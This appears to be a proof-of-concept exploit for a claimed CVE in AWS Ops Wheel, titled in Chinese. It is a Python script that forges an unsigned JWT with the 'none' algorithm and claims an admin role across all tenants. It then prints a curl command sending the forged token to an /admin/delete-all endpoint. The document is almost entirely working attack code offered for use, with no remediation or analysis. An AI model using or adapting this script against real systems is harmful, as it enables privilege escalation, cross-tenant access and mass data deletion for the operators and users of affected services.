CVE-2026-6911 AWS Ops Wheel JWT签名缺失漏洞

import base64 import json import hmac import hashlib # Target: AWS Ops Wheel API Gateway # Vulnerability: Missing JWT signature verification def create_forged_jwt(): # 1. Header (Algorithm) header = {"alg": "none", "typ": "JWT"} header_encoded = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().replace('=', '') # 2. Payload (Claims) - Escalating privileges # Modifying the role to 'admin' to gain unauthorized access payload = { "sub": "attacker", "role": "admin", "tenant_id": "*", # Target all tenants "exp": 9999999999 # Far future expiration } payload_encoded = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().replace('=', '') # 3. Signature # Since verification is missing, the signature is not required or checked. # We send an empty string or a dummy value. signature = "" # Construct the JWT jwt_token = f"{header_encoded}.{payload_encoded}.{signature}" return jwt_token if __name__ == "__main__": token = create_forged_jwt() print(f"[+] Forged JWT Token: {token}") # Example usage in an HTTP request print("\n[+] Example Attack Command:") print(f"curl -H 'Authorization: Bearer {token}' https://<target-api-gateway-url>/admin/delete-all")